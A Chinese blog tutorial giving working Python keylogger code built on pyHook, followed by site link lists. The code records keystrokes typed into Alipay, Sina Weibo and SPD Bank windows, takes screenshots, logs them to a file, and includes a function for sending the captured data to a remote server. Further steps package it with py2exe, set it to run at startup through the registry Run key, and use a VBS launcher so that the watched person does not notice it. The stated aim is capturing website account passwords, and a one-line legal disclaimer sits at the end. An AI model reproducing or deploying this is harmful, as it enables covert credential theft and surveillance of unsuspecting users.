Python利用pyHook实现监听用户鼠标与键盘事件


Posted in Python onAugust 21, 2014

本文以一段简单的监听鼠标、键盘事件的程序,实现获取用户的输入(比如登录某些网站的账号、密码)的功能。经测试,对于一台“裸奔”的电脑,完全能获取到用户输入的任何信息;但是如果安装了杀毒软件,就够呛了。具体实现方法如下:

一、代码部分:获取用户输入信息,并与截图一起保存到XX目录下

# -*- coding: utf-8 -*- # 

import pythoncom 
import pyHook  
import time
import socket
from PIL import ImageGrab

#
#如果是远程监听某个目标电脑,可以自己架设一个服务器,然后将获取到的信息发回给服务器
#
def send_msg_to_server(msg):
  host=""
  port=1234
  buf_size=1024
  addr=(host,port)
  if len(msg)>0:
    tcp_client_sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    tcp_client_sock.connect(addr)
    info=time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))+' from '+socket.gethostname()+':'
    tcp_client_sock.sendall(info+msg)
    tcp_client_sock.close()
    
#
#也可以将获取到的信息保存到本地文件下
#
def write_msg_to_txt(msg):  
  f=open('D:/workspace/mytest/pyhook/media/monitor.txt','a')
  f.write(msg+'\r\n')
  f.close()

def onMouseEvent(event): 
  # 监听鼠标事件   
  global MSG
  if len(MSG)!=0:    
    #send_msg_to_server(MSG)
    write_msg_to_txt(MSG)
    MSG=''
    pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
    #将用户屏幕截图,保存到本地某个目录下(也可以搞成远程发送到自己的服务器)
    pic = ImageGrab.grab()
    pic.save('D:/workspace/mytest/pyhook/media/mouse_%s.png' % pic_name)
  return True
 
def onKeyboardEvent(event):
  #监听键盘事件
  global MSG
  title= event.WindowName.decode('GBK')
  #通过网站title,判断当前网站是否是“监听目标”
  if title.find(u"支付宝") != -1 or title.find(u'新浪微博')!=-1 or title.find(u'浦发银行')!=-1:
    #Ascii: 8-Backspace , 9-Tab ,13-Enter 
    if (127 >= event.Ascii > 31) or (event.Ascii == 8):
      MSG += chr(event.Ascii)        
    if (event.Ascii == 9) or (event.Ascii == 13):      
      #send_msg_to_remote(MSG)
      write_msg_to_txt(MSG)
      MSG = '' 
      #屏幕抓图实现
      pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
      pic = ImageGrab.grab()
      #保存成为以日期命名的图片
      pic.save('D:/workspace/mytest/pyhook/media/keyboard_%s.png' % pic_name)
  return True 
 
if __name__ == "__main__":   
  MSG = ''  
  #创建hook句柄
  hm = pyHook.HookManager()

  #监控鼠标
  hm.SubscribeMouseLeftDown(onMouseEvent)
  hm.HookMouse()

  #监控键盘
  hm.KeyDown = onKeyboardEvent
  hm.HookKeyboard()

  #循环获取消息
  pythoncom.PumpMessages()

二、用py2exe将脚本打包:

新建一个py文件setup.py,内容如下:

from distutils.core import setup
import py2exe
setup(console=["monitor.py"])
#setup(windows=["monitor.py"])

命令行执行以下命令:

pythonsetup.pypy2exe

三、将该程序设置为开机自动启动:

步骤①:

将需要开机启动的文件(创建一个快捷方式,然后)放到“开始/所有程序/启动”目录下

步骤②:

修改注册表:命令行— regedit ,然后到以下路径下:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]  

新建一个“字符串值”,然后编辑:设置exe文件所在路径
D:\workspace\mytest\pyhook\dist\monitor.exe

(以上两种方式启动monitor.exe的话,会弹出一个命令框,显示监听日志信息,这样的话,被监听的人一下就能发现了,可以试试下面这个方式)

步骤③:

新建一个 .vbs文件,内容如下:

setwscriptObj=CreateObject("Wscript.Shell")
wscriptObj.run“D:\workspace\mytest\pyhook\dist\monitor.exe",0

双击运行该vbs文件,则monitor.exe就在后台启动了(不会弹出一个大黑框)。
然后参考法①、② 把该vbs设置成开机启动即可。

补充:

1、该程序涉及到一些模块都需要自己安装一下;
2、文章中凡是“D:\workspace....”这样的路径都需要改成自己的真实路径;
3、本代码仅为测试示例,读者不要将其用于非法用途。

感兴趣的读者可以对本文实例加以改进,使之功能更加完善。

Python 相关文章推荐
Python删除指定目录下过期文件的2个脚本分享
Apr 10 Python
在Python中进行自动化单元测试的教程
Apr 15 Python
python3使用urllib模块制作网络爬虫
Apr 08 Python
Flask的图形化管理界面搭建框架Flask-Admin的使用教程
Jun 13 Python
python机器学习库常用汇总
Nov 15 Python
Python中生成器和迭代器的区别详解
Feb 10 Python
深入浅析Python2.x和3.x版本的主要区别
Nov 30 Python
python学生管理系统开发
Jan 30 Python
python中的句柄操作的方法示例
Jun 20 Python
pytorch 获取tensor维度信息示例
Jan 03 Python
python自动化测试三部曲之unittest框架的实现
Oct 07 Python
linux centos 7.x 安装 python3.x 替换 python2.x的过程解析
Dec 14 Python
Python发送Email方法实例
Aug 21 #Python
Python生成验证码实例
Aug 21 #Python
python中去空格函数的用法
Aug 21 #Python
python实现的重启关机程序实例
Aug 21 #Python
实例讲解Python中的私有属性
Aug 21 #Python
Python创建日历实例
Aug 21 #Python
Python实现批量把SVG格式转成png、pdf格式的代码分享
Aug 21 #Python
You might like
ThinkPHP中Session用法详解
2014/11/29 PHP
php获取、检查类名、函数名、方法名的函数方法
2015/06/25 PHP
php+jQuery实现的三级导航栏下拉菜单显示效果
2017/08/10 PHP
jQuery 数据缓存data(name, value)详解及实现
2010/01/04 Javascript
基于jquery的兼容各种浏览器的iframe自适应高度的脚本
2010/08/13 Javascript
关于event.cancelBubble和event.stopPropagation()的区别介绍
2011/12/11 Javascript
JavaScript使用Max函数返回两个数字中较大数的方法
2015/04/06 Javascript
javascript实现拖放效果
2015/12/16 Javascript
第二次聊一聊JS require.js模块化工具的基础知识
2016/04/17 Javascript
D3.js封装文本实现自动换行和旋转平移等功能
2016/10/14 Javascript
JavaScript模块化之使用requireJS按需加载
2017/04/12 Javascript
Vue CLI3搭建的项目中路径相关问题的解决
2018/09/17 Javascript
JavaScript之实现一个简单的Vue示例
2019/01/17 Javascript
JS控制GIF图片的停止与显示
2019/10/24 Javascript
JavaScript实现旋转木马轮播图
2020/03/16 Javascript
如何实现js拖拽效果及原理解析
2020/05/08 Javascript
ES6 async、await的基本使用方法示例
2020/06/06 Javascript
Vue 组件复用多次自定义参数操作
2020/07/27 Javascript
简单讲解Python中的闭包
2015/08/11 Python
python Django批量导入数据
2016/03/25 Python
[原创]使用豆瓣提供的国内pypi源
2017/07/02 Python
利用 python 对目录下的文件进行过滤删除
2017/12/27 Python
Python字典及字典基本操作方法详解
2018/01/30 Python
Python实现matplotlib显示中文的方法详解
2018/02/06 Python
python list元素为tuple时的排序方法
2018/04/18 Python
python排序函数sort()与sorted()的区别
2018/09/18 Python
使用Python制作简单的小程序IP查看器功能
2019/04/16 Python
有趣的Python图片制作之如何用QQ好友头像拼接出里昂
2020/04/22 Python
Python标准库:内置函数max(iterable, *[, key, default])说明
2020/04/25 Python
css3 clip实现圆环进度条的示例代码
2018/02/07 HTML / CSS
汇集了世界上最好的天然和有机美容产品:LoveLula
2018/02/05 全球购物
Etam德国:内衣精品店
2019/08/25 全球购物
JDO的含义
2012/11/17 面试题
生物科学专业个人求职信范文
2013/12/07 职场文书
2014年团队工作总结
2014/11/24 职场文书
大学开学感言
2015/08/01 职场文书